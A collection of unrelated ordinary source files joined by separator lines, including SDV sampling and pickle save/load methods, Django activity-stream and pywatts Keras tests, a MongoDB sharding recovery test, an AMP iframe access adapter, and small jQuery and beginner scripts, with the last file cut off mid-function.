Amount of rows to sample. If ``None``, sample the same number of rows
as there were in the original table.
sample_children (bool):
Whether or not to sample children tables. Defaults to ``True``.
reset_primary_keys (bool):
Wheter or not reset the primary key generators. Defaults to ``False``.
Returns:
pandas.DataFrame:
Sampled data with the number of rows specified in ``num_rows``.
Raises:
NotFittedError:
A ``NotFittedError`` is raised when the ``SDV`` instance has not been fitted yet.
"""
if self.sampler is None:
raise NotFittedError('SDV instance has not been fitted')
return self.sampler.sample(
table_name,
num_rows,
sample_children=sample_children,
reset_primary_keys=reset_primary_keys
)
def sample_all(self, num_rows=None, reset_primary_keys=False):
"""Sample the entire dataset.
Args:
num_rows (int):
Number of rows to be sampled on the first parent tables. If ``None``,
sample the same number of rows as in the original tables.
reset_primary_keys (bool):
Wheter or not reset the primary key generators. Defaults to ``False``.
Returns:
dict:
Tables sampled.
Raises:
NotFittedError:
A ``NotFittedError`` is raised when the ``SDV`` instance has not been fitted yet.
"""
if self.sampler is None:
raise NotFittedError('SDV instance has not been fitted')
return self.sampler.sample_all(num_rows, reset_primary_keys=reset_primary_keys)
def save(self, path):
"""Save this SDV instance to the given path using pickle.
Args:
path (str):
Path where the SDV instance will be serialized.
"""
with open(path, 'wb') as output:
pickle.dump(self, output)
@classmethod
def load(cls, path):
"""Load a SDV instance from a given path.
Args:
path (str):
Path from which to load the SDV instance.
"""
with open(path, 'rb') as f:
return pickle.load(f)
|
from json import loads
from datetime import datetime
from inspect import getargspec
from django.apps import apps
from django.test import TestCase
from django.template import Template, Context
from django.utils.timesince import timesince
from django.contrib.sites.models import Site
from django.contrib.auth import get_user_model
from django.contrib.auth.models import Group
from django.contrib.contenttypes.models import ContentType
from django.urls import reverse
from actstream.models import Action, Follow
from actstream.registry import register, unregister
from actstream.actions import follow
from actstream.signals import action
def render(src, **ctx):
return Template('{% load activity_tags %}' + src).render(Context(ctx))
class LTE(int):
def __new__(cls, n):
obj = super(LTE, cls).__new__(cls, n)
obj.n = n
return obj
def __eq__(self, other):
return other <= self.n
def __repr__(self):
return "<= %s" % self.n
class ActivityBaseTestCase(TestCase):
actstream_models = ()
maxDiff = None
def setUp(self):
self.User = get_user_model()
self.user_ct = ContentType.objects.get_for_model(self.User)
register(self.User)
for model in self.actstream_models:
register(model)
def assertSetEqual(self, l1, l2, msg=None, domap=True):
if domap:
l1 = map(str, l1)
self.assertSequenceEqual(set(l1), set(l2), msg)
def assertAllIn(self, bits, string):
for bit in bits:
self.assertIn(bit, string)
def assertJSON(self, string):
return loads(string)
def tearDown(self):
for model in self.actstream_models:
model = apps.get_model(*model.split('.'))
unregister(model)
model.objects.all().delete()
Action.objects.all().delete()
Follow.objects.all().delete()
self.User.objects.all().delete()
def capture(self, viewname, *args):
response = self.client.get(reverse(viewname, args=args))
content = response.content.decode()
if response['Content-Type'] == 'application/json':
return loads(content)
return content
class DataTestCase(ActivityBaseTestCase):
actstream_models = ('auth.Group', 'sites.Site')
def setUp(self):
self.testdate = datetime(2000, 1, 1)
self.timesince = timesince(self.testdate).encode('utf8').replace(
b'\xc2\xa0', b' ').decode()
self.group_ct = ContentType.objects.get_for_model(Group)
super(DataTestCase, self).setUp()
self.group = Group.objects.create(name='CoolGroup')
self.another_group = Group.objects.create(name='NiceGroup')
if 'email' in getargspec(self.User.objects.create_superuser).args:
self.user1 = self.User.objects.create_superuser('admin', '[email protected]', 'admin')
self.user2 = self.User.objects.create_user('Two', '[email protected]')
self.user3 = self.User.objects.create_user('Three', '[email protected]')
self.user4 = self.User.objects.create_user('Four', '[email protected]')
else:
self.user1 = self.User.objects.create_superuser('admin', 'admin')
self.user2 = self.User.objects.create_user('Two')
self.user3 = self.User.objects.create_user('Three')
self.user4 = self.User.objects.create_user('Four')
# User1 joins group
self.user1.groups.add(self.group)
self.join_action = action.send(self.user1, verb='joined',
target=self.group,
timestamp=self.testdate)[0][1]
# User1 follows User2
follow(self.user1, self.user2, timestamp=self.testdate)
# User2 joins group
self.user2.groups.add(self.group)
action.send(self.user2, verb='joined', target=self.group,
timestamp=self.testdate)
# User2 follows group
follow(self.user2, self.group, timestamp=self.testdate)
# User1 comments on group
# Use a site object here and predict the "__unicode__ method output"
action.send(self.user1, verb='commented on', target=self.group,
timestamp=self.testdate)
self.comment = Site.objects.create(
domain="admin: Sweet Group!...")
# Group responds to comment
action.send(self.group, verb='responded to', target=self.comment,
timestamp=self.testdate)
# User 3 did something but doesn't following someone
action.send(self.user3, verb='liked actstream', timestamp=self.testdate)
# User4 likes group
follow(self.user4, self.another_group, timestamp=self.testdate, flag='liking')
# User4 watches group
follow(self.user4, self.another_group, timestamp=self.testdate, flag='watching')
# User4 likes User1
follow(self.user4, self.user1, timestamp=self.testdate, flag='liking')
# User4 blacklist user3
follow(self.user4, self.user3, timestamp=self.testdate, flag='blacklisting')
|
from Node import Node
def search(state, goal_state, yield_after):
cur_node = Node(state)
explored = set()
stack = list([cur_node])
counter = 0
depth = 0
while stack:
cur_node = stack.pop()
depth = max(depth, cur_node.depth)
explored.add(cur_node.map)
if cur_node.is_goal(goal_state):
break
cur_node.expand()
for child in reversed(cur_node.children):
if child.map not in explored:
stack.append(child)
explored.add(child.map)
counter += 1
if counter%yield_after == 0:
yield [0, cur_node.state]
expanded_states = [cur_node.state]
for parent in cur_node.ancestors():
expanded_states.append(parent.state)
expanded_states.reverse()
yield [1, cur_node.state, expanded_states, counter, depth+1]
|
import Two from 'two.js';
import m from 'mithril';
import util from './util';
import artifacts from './artifacts';
import './main.css';
export default function canvas() {
let two;
let gamepad;
let width;
let height;
let vel = { x: 0, y: 0 };
let pos = { x: 0, y: 0 };
let cursor;
let kf;
let kd;
let sensitivity;
let benchmark = 0;
let numPoints = 10;
let points;
let text;
let start;
return {
oncreate(vnode) {
width = vnode.dom.clientWidth;
height = vnode.dom.clientHeight;
pos = { x: width / 2, y: height / 2 };
two = new Two({
type: Two.Types.canvas,
width,
height,
}).appendTo(vnode.dom);
// resize canvas on window size change
window.addEventListener('resize', () => {
width = vnode.dom.clientWidth;
height = vnode.dom.clientHeight;
});
cursor = artifacts.cursor(two, pos.x, pos.y);
two.bind('update', () => {
// updates joystick position every animation frame
[gamepad] = navigator.getGamepads();
// gamepad has been disconnected
if (!gamepad) return;
// calculate position
({ newvel: vel, newpos: pos } = util.calcPos(
gamepad.axes[0],
gamepad.axes[1],
kf,
kd,
sensitivity,
vel,
pos,
width,
height,
));
cursor.translation.set(
pos.x,
pos.y,
);
switch (benchmark) {
case 0:
break;
case 1:
two.clear();
text = two.makeText('hit the red circles', 150, 39, {
size: 24,
});
cursor = artifacts.cursor(two, pos.x, pos.y);
points = Array.from({ length: numPoints },
() => [Math.floor(Math.random() * width), Math.floor(Math.random() * height)]);
artifacts.benchmark1(two, points, 0);
benchmark += 1;
break;
default:
if (benchmark === 2) start = Date.now();
if (benchmark > 2) {
text.translation.x = 75;
text.translation.y = 39;
text.value = `${((Date.now() - start) / 1000).toFixed(3)}s`;
}
if (util.dist(pos.x, points[benchmark - 2][0], pos.y, points[benchmark - 2][1]) < 30) {
benchmark += 1;
artifacts.benchmark1(two, points, benchmark - 2);
if ((benchmark - 2) === points.length) {
benchmark = 0;
two.clear();
text = two.makeText(`${((Date.now() - start) / 1000).toFixed(3)}s`, 75, 39, {
size: 24,
});
cursor = artifacts.cursor(two, pos.x, pos.y);
}
}
}
}).play();
},
view(vnode) {
({
kf,
kd,
sensitivity,
points: numPoints,
} = vnode.attrs);
if (vnode.attrs.button) benchmark = 1;
return m('div', { class: 'container' });
},
};
}
|
#!/usr/bin/env python
#
# Copyright 2011-2016 Jeff Bush
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
from __future__ import print_function
import os
import subprocess
import sys
TEST_DIR = os.path.normpath(os.path.dirname(os.path.abspath(__file__))) + '/'
PROJECT_ROOT = TEST_DIR + '../'
TESTS = [
# Uncomment these one at a time to ensure this properly detects failures
# 'match-fail.lisp',
# 'compile-fail.lisp',
# Basic Compiler/Interpreter tests
'hello.lisp',
'scope.lisp',
'math.lisp',
'optimizer.lisp',
'conditionals.lisp',
'list.lisp',
'closure.lisp',
'tail-recurse.lisp',
'anonfunc.lisp',
'forloop.lisp',
'breakloop.lisp',
'getbp_bug.lisp',
'sequence.lisp',
# Runtime library tests
'map-reduce.lisp',
'filter.lisp',
'gc.lisp',
'oom.lisp',
# Sample programs
'y-combinator.lisp',
'sum-even-fib.lisp',
'zip.lisp',
'anagram.lisp',
'prime.lisp',
'fib.lisp',
'dict.lisp'
]
def check_result(output, check_filename):
result_offset = 0
found_check_lines = False
with open(check_filename, 'r') as infile:
for linenum, line in enumerate(infile):
chkoffs = line.find('CHECK: ')
if chkoffs != -1:
found_check_lines = True
expected = line[chkoffs + 7:].strip()
got = output.find(expected, result_offset)
if got != -1:
result_offset = got + len(expected)
else:
print('FAIL: line {} expected string {} was not found'
.format(linenum + 1, expected))
print('searching here:' + output[result_offset:])
return False
if not found_check_lines:
print('FAIL: no lines with CHECK: were found')
return False
if output.find('HALTED', result_offset) == -1:
print('simulation did not halt normally')
return False
return True
def runtest(filename):
try:
# Compile test
subprocess.check_call(['python', PROJECT_ROOT + '/compile.py', filename])
# Run test
result = subprocess.check_output(['vvp', PROJECT_ROOT + '/sim.vvp']).decode().strip()
if result:
if check_result(result, filename):
print('PASS')
except KeyboardInterrupt:
raise
except:
print('FAIL: exception thrown')
raise
if len(sys.argv) > 1:
runtest(TEST_DIR + sys.argv[1])
else:
for filename in TESTS:
print(filename, end=' ')
sys.stdout.flush()
runtest(TEST_DIR + filename)
|
/**
* Copyright 2018 The AMP HTML Authors. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS-IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import {Deferred} from '../../../src/utils/promise';
import {Messenger} from './iframe-api/messenger';
import {Services} from '../../../src/services';
import {assertHttpsUrl, parseUrlDeprecated} from '../../../src/url';
import {dev, userAssert} from '../../../src/log';
import {dict} from '../../../src/utils/object';
import {getMode} from '../../../src/mode';
import {isArray} from '../../../src/types';
import {parseJson} from '../../../src/json';
import {toggle} from '../../../src/style';
const AUTHORIZATION_TIMEOUT = 3000;
const EXPIRATION_TIMEOUT = 1000 * 60 * 60 * 24 * 7; // 7 days
const TAG = 'amp-access-iframe';
/** @implements {./amp-access-source.AccessTypeAdapterDef} */
export class AccessIframeAdapter {
/**
* @param {!../../../src/service/ampdoc-impl.AmpDoc} ampdoc
* @param {!JsonObject} configJson
* @param {!./amp-access-source.AccessTypeAdapterContextDef} context
*/
constructor(ampdoc, configJson, context) {
/** @const */
this.ampdoc = ampdoc;
/** @const @private {!./amp-access-source.AccessTypeAdapterContextDef} */
this.context_ = context;
/** @const @private {!JsonObject} */
this.configJson_ = configJson;
/** @const @private {!../../../src/service/timer-impl.Timer} */
this.timer_ = Services.timerFor(ampdoc.win);
/** @const @private {string} */
this.iframeSrc_ = userAssert(
configJson['iframeSrc'],
'"iframeSrc" URL must be specified'
);
assertHttpsUrl(this.iframeSrc_, '"iframeSrc"');
/** @const @private {?Array} */
this.iframeVars_ = configJson['iframeVars'] || null;
if (this.iframeVars_) {
userAssert(isArray(this.iframeVars_), '"iframeVars" must be an array');
}
/** @const @private {!JsonObject} */
this.defaultResponse_ = userAssert(
configJson['defaultResponse'],
'"defaultResponse" must be specified'
);
/** @private @const {string} */
this.targetOrigin_ = parseUrlDeprecated(this.iframeSrc_).origin;
/** @private {?function()} */
this.connectedResolver_ = null;
/** @private {?Promise} */
this.connectedPromise_ = null;
/** @private @const {!Element} */
this.iframe_ = ampdoc.win.document.createElement('iframe');
toggle(this.iframe_, false);
/** @private @const {!Messenger} */
this.messenger_ = new Messenger(
this.ampdoc.win,
() => this.iframe_.contentWindow,
this.targetOrigin_
);
/** @private {?Promise<!JsonObject>} */
this.configPromise_ = null;
}
/**
* Disconnect the client.
*/
disconnect() {
this.messenger_.disconnect();
this.ampdoc.getBody().removeChild(this.iframe_);
}
/** @override */
getConfig() {
return {
'iframeSrc': this.iframeSrc_,
'iframeVars': this.iframeVars_,
};
}
/** @override */
isAuthorizationEnabled() {
return true;
}
/** @override */
authorize() {
return Promise.race([this.authorizeLocal_(), this.authorizeRemote_()]);
}
/** @override */
isPingbackEnabled() {
return true;
}
/** @override */
pingback() {
return this.connect().then(() => {
return this.messenger_.sendCommandRsvp('pingback', {});
});
}
/** @override */
postAction() {
// Reset the storage.
this.store_(null);
}
/**
* @return {!Promise}
* @package Visible for testing only.
*/
connect() {
if (!this.connectedPromise_) {
const deferred = new Deferred();
this.connectedPromise_ = deferred.promise;
this.connectedResolver_ = deferred.resolve;
this.configPromise_ = this.resolveConfig_();
// Connect.
this.messenger_.connect(this.handleCommand_.bind(this));
this.ampdoc.getBody().appendChild(this.iframe_);
this.iframe_.src = this.iframeSrc_;
}
return this.connectedPromise_;
}
/**
* @return {!Promise<!JsonObject>}
* @private
*/
resolveConfig_() {
return new Promise((resolve) => {
const configJson = parseJson(JSON.stringify(this.configJson_));
if (this.iframeVars_) {
const varsString = this.iframeVars_.join('&');
const varsPromise = this.context_.collectUrlVars(
varsString,
/* useAuthData */ false
);
resolve(
varsPromise.then((vars) => {
configJson['iframeVars'] = vars;
return configJson;
})
);
} else {
resolve(configJson);
}
});
}
/**
* @return {!Promise<!JsonObject>}
* @private
*/
authorizeLocal_() {
const timeout = AUTHORIZATION_TIMEOUT * (getMode().development ? 2 : 1);
return this.timer_.promise(timeout).then(() => {
return this.restore_() || this.defaultResponse_;
});
}
/**
* @return {!Promise<!JsonObject>}
* @private
*/
authorizeRemote_() {
return this.connect()
.then(() => {
return this.messenger_.sendCommandRsvp('authorize', {});
})
.then((data) => {
if (data) {
// Store the value in a non-blocking microtask.
Promise.resolve().then(() => this.store_(data));
}
return data;
});
}
/**
* @return {?JsonObject} data
* @private
*/
restore_() {
const {win} = this.ampdoc;
const storage = win.sessionStorage || win.localStorage;
if (!storage) {
return null;
}
try {
const raw = storage.getItem(TAG);
if (!raw) {
return null;
}
const parsed = parseJson(raw);
const time = parsed['t'];
if (time + EXPIRATION_TIMEOUT < this.ampdoc.win.Date.now()) {
// Already expired.
return null;
}
return parsed['d'] || null;
} catch (e) {
dev().error(TAG, 'failed to restore access response: ', e);
try {
// Remove the poisoned value.
storage.removeItem(TAG);
} catch (e) {
// Ignore.
}
return null;
}
}
/**
* @param {?JsonObject} data
* @private
*/
store_(data) {
const {win} = this.ampdoc;
const storage = win.sessionStorage || win.localStorage;
if (!storage) {
return;
}
try {
if (data) {
storage.setItem(
TAG,
JSON.stringify(
dict({
't': this.ampdoc.win.Date.now(),
'd': data,
})
)
);
} else {
storage.removeItem(TAG);
}
} catch (e) {
dev().error(TAG, 'failed to store access response: ', e);
}
}
/**
* @param {string} cmd
* @param {?Object} unusedPayload
* @return {*}
* @private
*/
handleCommand_(cmd, unusedPayload) {
if (cmd == 'connect') {
// First ever message. Indicates that the receiver is listening.
this.configPromise_.then((configJson) => {
this.messenger_
.sendCommandRsvp('start', {
'protocol': 'amp-access',
'config': configJson,
})
.then(() => {
// Confirmation that connection has been successful.
if (this.connectedResolver_) {
this.connectedResolver_();
this.connectedResolver_ = null;
}
});
});
return;
}
}
}
|
export const EMPTY_LINE = `
<empty-line />
`;
|
$(document).ready(function() {
$(".mobile-menu").click(function () {
$(".menu-block").slideToggle();
$(".menu-block").removeClass('hider');
});
$("#menu-list li").on("click","a", function (event) {
//отменяем стандартную обработку нажатия по ссылке
event.preventDefault();
//забираем идентификатор блока с атрибута href
var id = $(this).attr('href'),
//узнаем высоту от начала страницы до блока на который ссылается якорь
top = $(id).offset().top;
//alert(id);
//анимируем переход на расстояние - top за 1500 мс
$('body,html').animate({scrollTop: top}, 1500);
});
$(function() {
//Simple filter controls
$('.simplefilter li').click(function() {
$('.simplefilter li').removeClass('active');
$(this).addClass('active');
});
//Multifilter controls
$('.multifilter li').click(function() {
$(this).toggleClass('active');
});
//Shuffle control
$('.shuffle-btn').click(function() {
$('.sort-btn').removeClass('active');
});
//Sort controls
$('.sort-btn').click(function() {
$('.sort-btn').removeClass('active');
$(this).addClass('active');
});
});
});
|
function nombre(){
var name = document.getElementById("texto").value;
name = document.getElementById("saludo").innerHTML = "Hola " + name + ", Quieres jugar?";
}
function btnSi(){
var pregunta1 = document.getElementById("question1").value;
pregunta1= document.getElementById("respuesta1").innerHTML = "sdc";
}
function btnNo(){
document.getElementById("confirmation").innerHTML = ":'(";
}
/*window.onload = function() {
var name = prompt("¿cuál es tu nombre?");
document.getElementById("name").innerText = name;
var wantToPlay = prompt("¿quieres jugar? s/n");
if (wantToPlay.toLowerCase() == "s") {
var answer1 = prompt("¿han egresado hombres en Laboratoria? s/n");
if (answer1.toLowerCase() == "n") {
document.getElementById("rightAnswersText").innerHTML =
document.getElementById("rightAnswersText").innerHTML +
"<div class='answer'>" +
"<p>No han egresado hombres</p>"
"</div>";
} else {
document.getElementById("wrongAnswersText").innerHTML =
document.getElementById("wrongAnswersText").innerHTML +
"<div class='answer'>" +
"<p>No han egresado hombres</p>"
"</div>";
}
var answer2 = prompt("¿hay laboratoria en concepción? s/n");
if (answer2.toLowerCase() == "n") {
document.getElementById("rightAnswersText").innerHTML =
document.getElementById("rightAnswersText").innerHTML +
"<div class='answer'>" +
"<p>No hay laboratoria en concepción</p>"
"</div>";
} else {
document.getElementById("wrongAnswersText").innerHTML =
document.getElementById("wrongAnswersText").innerHTML +
"<div class='answer'>" +
"<p>No hay laboratoria en concepción</p>"
"</div>";
}
} else {
document.getElementById("warningMessage").innerText = "Bueno Chao";
}
}*/ |
a = input('zadej delenec: ')
b = input('zadej delitel: ')
try:
print(int(a) / int(b))
except ZeroDivisionError:
print('Delitel nesmi byt nula')
except ValueError:
print('Zadej prosim cisla')
except Exception:
print('Nejaka jina chyba')
else:
print('Vse probehlo OK')
finally:
print('Toto se vypise vzdy')
|
class Solution:
def isPowerOfThree(self, n: int) -> bool:
p = 1
while p < n:
p = p * 3
return p == n |
#=========================================================================
# GcdUnitMsg
#=========================================================================
from pymtl import *
#-------------------------------------------------------------------------
# GcdUnitReqMsg
#-------------------------------------------------------------------------
# BitStruct designed to hold two operands for a multiply
class GcdUnitReqMsg( BitStructDefinition ):
def __init__( s ):
s.a = BitField(16)
s.b = BitField(16)
def mk_msg( s, a, b ):
msg = s()
msg.a = a
msg.b = b
return msg
def __str__( s ):
return "{}:{}".format( s.a, s.b )
|
// This tests that slaveOk'd queries in sharded setups get correctly routed when a slave goes into
// RECOVERING state, and don't break
(function() {
'use strict';
var shardTest = new ShardingTest({ name: "recovering_slaveok",
shards: 2,
mongos: 2,
other: { rs: true } });
var mongos = shardTest.s0;
var mongosSOK = shardTest.s1;
mongosSOK.setSlaveOk();
var admin = mongos.getDB("admin");
var config = mongos.getDB("config");
var dbase = mongos.getDB("test");
var coll = dbase.getCollection("foo");
var dbaseSOk = mongosSOK.getDB( "" + dbase );
var collSOk = mongosSOK.getCollection( "" + coll );
var rsA = shardTest._rs[0].test;
var rsB = shardTest._rs[1].test;
assert.writeOK(rsA.getPrimary().getDB( "test_a" ).dummy.insert({ x : 1 }));
assert.writeOK(rsB.getPrimary().getDB( "test_b" ).dummy.insert({ x : 1 }));
rsA.awaitReplication();
rsB.awaitReplication();
print("1: initial insert");
coll.save({ _id : -1, a : "a", date : new Date() });
coll.save({ _id : 1, b : "b", date : new Date() });
print("2: shard collection");
shardTest.shardColl(coll, /* shardBy */ { _id : 1 }, /* splitAt */ { _id : 0 });
print("3: test normal and slaveOk queries");
// Make shardA and rsA the same
var shardA = shardTest.getShard(coll, { _id : -1 });
var shardAColl = shardA.getCollection( "" + coll );
var shardB = shardTest.getShard(coll, { _id : 1 });
if (shardA.name == rsB.getURL()) {
var swap = rsB;
rsB = rsA;
rsA = swap;
}
rsA.awaitReplication();
rsB.awaitReplication();
// Because of async migration cleanup, we need to wait for this condition to be true
assert.soon(function() { return coll.find().itcount() == collSOk.find().itcount(); });
assert.eq(shardAColl.find().itcount(), 1);
assert.eq(shardAColl.findOne()._id, -1);
print("5: make one of the secondaries RECOVERING");
var secs = rsA.getSecondaries();
var goodSec = secs[0];
var badSec = secs[1];
assert.commandWorked(badSec.adminCommand("replSetMaintenance"));
rsA.waitForState(badSec, ReplSetTest.State.RECOVERING);
print("6: stop non-RECOVERING secondary");
rsA.stop(goodSec);
print("7: check our regular and slaveOk query");
assert.eq(2, coll.find().itcount());
assert.eq(2, collSOk.find().itcount());
print("8: restart both our secondaries clean");
rsA.restart(rsA.getSecondaries(),
{ remember : true, startClean : true },
undefined,
5 * 60 * 1000);
print("9: wait for recovery");
rsA.waitForState(rsA.getSecondaries(), ReplSetTest.State.SECONDARY, 5 * 60 * 1000 );
print("10: check our regular and slaveOk query");
// We need to make sure our nodes are considered accessible from mongos - otherwise we fail
// See SERVER-7274
ReplSetTest.awaitRSClientHosts(coll.getMongo(), rsA.nodes, { ok : true });
ReplSetTest.awaitRSClientHosts(coll.getMongo(), rsB.nodes, { ok : true });
// We need to make sure at least one secondary is accessible from mongos - otherwise we fail
// See SERVER-7699
ReplSetTest.awaitRSClientHosts(collSOk.getMongo(), [rsA.getSecondaries()[0]],
{ secondary : true, ok : true });
ReplSetTest.awaitRSClientHosts(collSOk.getMongo(), [rsB.getSecondaries()[0]],
{ secondary : true, ok : true });
print("SlaveOK Query...");
var sOKCount = collSOk.find().itcount();
var collCount = null;
try{
print("Normal query...");
collCount = coll.find().itcount();
}
catch(e){
printjson(e);
// There may have been a stepdown caused by step 8, so we run this twice in a row. The first
// time can error out.
print("Error may have been caused by stepdown, try again.");
collCount = coll.find().itcount();
}
assert.eq(collCount, sOKCount);
shardTest.stop();
})();
|
import os
import unittest
from typing import Optional
from unittest.mock import MagicMock, patch, call
import numpy as np
import pandas as pd
import xarray as xr
from pywatts.modules import KerasWrapper
stored_model = {
"aux_models": [
[
"encoder",
os.path.join("pipe1", "SimpleAE_4encoder.h5")
],
[
"decoder",
os.path.join("pipe1", "SimpleAE_4decoder.h5")
]
],
"class": "KerasWrapper",
"model": os.path.join("pipe1", "SimpleAE_4.h5"),
"module": "pywatts.wrappers.keras_wrapper",
"name": "SimpleAE",
'is_fitted': False,
"params": {
"compile_kwargs": {
"loss": "mse",
"metrics": [
"mse"
],
"optimizer": "Adam"
},
"fit_kwargs": {
"batch_size": 512,
"epochs": 1
}
},
"targets": []
}
class TestKerasWrapper(unittest.TestCase):
def setUp(self) -> None:
self.keras_mock: Optional[MagicMock] = MagicMock()
self.keras_wrapper = KerasWrapper(self.keras_mock, compile_kwargs={"test": "arg1"}, fit_kwargs={"42": 24})
def tearDown(self) -> None:
self.keras_wrapper: Optional[KerasWrapper] = None
self.keras_mock = None
def test_fit(self):
self.keras_wrapper.set_params(fit_kwargs={"epochs": 200}, compile_kwargs={"optimizer": "adam"})
time = pd.date_range('2000-01-01', freq='24H', periods=7)
da = xr.DataArray([[2, 0], [3, 2], [4, 3], [5, 4], [6, 5], [7, 6], [8, 7]],
dims=["time", "horizon"], coords={"time": time, "horizon": [0, 1]})
target = xr.DataArray([[5, 5], [6, 6], [7, 7], [7, 7], [8, 8], [9, 9], [9, 9]],
dims=["time", "horizon"], coords={"time": time, "horizon": [0, 1]})
self.keras_wrapper.fit(data=da, target=target)
self.keras_mock.compile.assert_called_once_with(optimizer="adam")
self.keras_mock.fit.assert_called_once()
args = self.keras_mock.fit.call_args
self.assertEqual(type(args[1]["x"]["data"]), np.ndarray)
self.assertEqual(type(args[1]["y"]["target"]), np.ndarray)
np.testing.assert_equal(args[1]["x"]["data"],
np.array([[2, 0], [3, 2], [4, 3], [5, 4], [6, 5], [7, 6], [8, 7]]))
np.testing.assert_equal(args[1]["y"]["target"],
np.array([[5, 5], [6, 6], [7, 7], [7, 7], [8, 8], [9, 9], [9, 9]])),
self.assertEqual(len(args[1]["x"]), 1)
self.assertEqual(len(args[1]["y"]), 1)
self.assertEqual(args[1]["epochs"], 200)
self.assertEqual(len(args[1]), 3)
self.assertTrue(self.keras_wrapper.compiled)
def test_transform_single_output(self):
time = pd.date_range('2000-01-01', freq='24H', periods=7)
da = xr.DataArray([[2, 0], [3, 2], [4, 3], [5, 4], [6, 5], [7, 6], [8, 7]],
dims=["time", "horizon"], coords={"time": time, "horizon": [0, 1]})
target = np.array([[5, 5], [6, 6], [7, 7], [7, 7], [8, 8], [9, 9], [9, 9]])
self.keras_mock.predict.return_value = target
self.keras_mock.outputs[0].name = "first/output"
self.keras_wrapper.targets = ["target"]
result = self.keras_wrapper.transform(x=da)
self.keras_mock.predict.assert_called_once()
np.testing.assert_equal(target,
result["target"])
def test_transform_multiple_output(self):
time = pd.date_range('2000-01-01', freq='24H', periods=7)
da = xr.DataArray([[2, 0], [3, 2], [4, 3], [5, 4], [6, 5], [7, 6], [8, 7]],
dims=["time", "horizon"], coords={"time": time, "horizon": [0, 1]})
target = [np.array([[5, 5], [6, 6], [7, 7], [7, 7], [8, 8], [9, 9], [9, 9]]),
np.array([[5, 5], [6, 6], [7, 7], [7, 7], [8, 8], [9, 9], [9, 9]])]
self.keras_mock.predict.return_value = target
first = MagicMock()
first.name = "first/output"
second = MagicMock()
second.name = "second"
outputs = [first, second]
self.keras_mock.outputs = outputs
self.keras_wrapper.targets = ["target1", "target2"]
result = self.keras_wrapper.transform(x=da)
self.keras_mock.predict.assert_called_once()
args = self.keras_mock.predict.call_args
np.testing.assert_equal(args[0][0]["x"],
np.array([[2, 0], [3, 2], [4, 3], [5, 4], [6, 5], [7, 6], [8, 7]]))
np.testing.assert_equal(target[0],
result["target1"])
np.testing.assert_equal(target[1],
result["target2"])
def test_get_params(self):
self.assertEqual(self.keras_wrapper.get_params(),
{'compile_kwargs': {'test': 'arg1'},
'fit_kwargs': {'42': 24}})
def test_set_params(self):
self.assertEqual(self.keras_wrapper.get_params(),
{'compile_kwargs': {'test': 'arg1'},
'fit_kwargs': {'42': 24}})
self.keras_wrapper.set_params(fit_kwargs={"loss": "mse"},
compile_kwargs={"optimizer": "Adam"})
self.assertEqual(self.keras_wrapper.get_params(),
{
"fit_kwargs": {
"loss": "mse"
}, "compile_kwargs": {
"optimizer": "Adam"
},
})
def test_save(self):
fm_mock = MagicMock()
fm_mock.get_path.return_value = os.path.join("new_path", "to_somewhere", "KerasWrapper.h5")
json = self.keras_wrapper.save(fm_mock)
self.keras_mock.save.assert_called_once_with(
filepath=os.path.join("new_path", "to_somewhere", "KerasWrapper.h5"))
fm_mock.get_path.has_calls(call(os.path.join("to_somewhere", "KerasWrapper.h5")),
any_order=True)
self.assertEqual(json, {'aux_models': [],
'class': 'KerasWrapper',
'is_fitted': False,
'model': os.path.join("new_path", "to_somewhere", "KerasWrapper.h5"),
'module': 'pywatts.modules.wrappers.keras_wrapper',
'name': 'KerasWrapper',
'params': {'compile_kwargs': {"test": "arg1"}, 'fit_kwargs': {"42": 24}},
"targets":[]
})
@patch('pywatts.modules.wrappers.keras_wrapper.tf.keras.models.load_model')
def test_load(self, load_model_mock):
new_keras_mock = MagicMock()
load_model_mock.return_value = new_keras_mock
new_keras_wrapper = KerasWrapper.load(stored_model)
calls_open = [call(filepath=os.path.join("pipe1", "SimpleAE_4decoder.h5")),
call(filepath=os.path.join("pipe1", "SimpleAE_4encoder.h5")),
call(filepath=os.path.join("pipe1", "SimpleAE_4.h5")),
]
load_model_mock.assert_has_calls(calls_open, any_order=True)
self.assertEqual(load_model_mock.call_count, 3)
self.assertEqual(new_keras_mock, new_keras_wrapper.model)
self.assertEqual(new_keras_wrapper.get_params(),
{
"compile_kwargs": {
"loss": "mse",
"metrics": [
"mse"
],
"optimizer": "Adam"
},
"fit_kwargs": {
"batch_size": 512,
"epochs": 1
}
})
|
$(document).ready(function () {
if (_getUrlModule() == 'snifsQuestion') {
_initNifsQuestion({page: 0, searchQuery: {}});
$.contextMenu({selector: '.context-menu-nifs-question-selected-row', items: _loadContextMenuNifsQuestion()});
}
});
$(document).bind('keydown', 'f2', function () {
_addFormNifsQuestion({elem: this});
});
$(document).bind('keydown', 'f3', function () {
_advensedSearchNifsQuestion({elem: this});
});
function _initNifsQuestion(param) {
$.ajax({
type: 'get',
url: _nifsQuestionModRootPath + 'lists',
data: param.searchQuery + '&moduleMenuId=' + _MODULE_MENU_ID + '&modId=' + _nifsQuestionModId + '&per_page=' + param.page,
dataType: 'json',
beforeSend: function () {
$.blockUI({
message: _jqueryBlockUiMessage,
overlayCSS: _jqueryBlockUiOverlayCSS,
css: _jqueryBlockUiMessageCSS
});
},
success: function (data) {
$(_rootContainerId).html(data);
}
}).done(function () {
$.unblockUI();
});
}
function _removeNifsQuestion(param) {
if (!$(_nifsQuestionDialogId).length) {
$('<div id="' + _nifsQuestionDialogId.replace('#', '') + '"></div>').appendTo('body');
}
$(_nifsQuestionDialogId).empty().html(_dialogAlertDeleteMessage);
$(_nifsQuestionDialogId).dialog({
cache: false,
resizable: false,
bgiframe: false,
autoOpen: false,
title: _dialogAlertTitle,
width: _dialogAlertWidth,
height: "auto",
modal: true,
close: function () {
$(_nifsQuestionDialogId).dialog('close').empty();
},
buttons: [
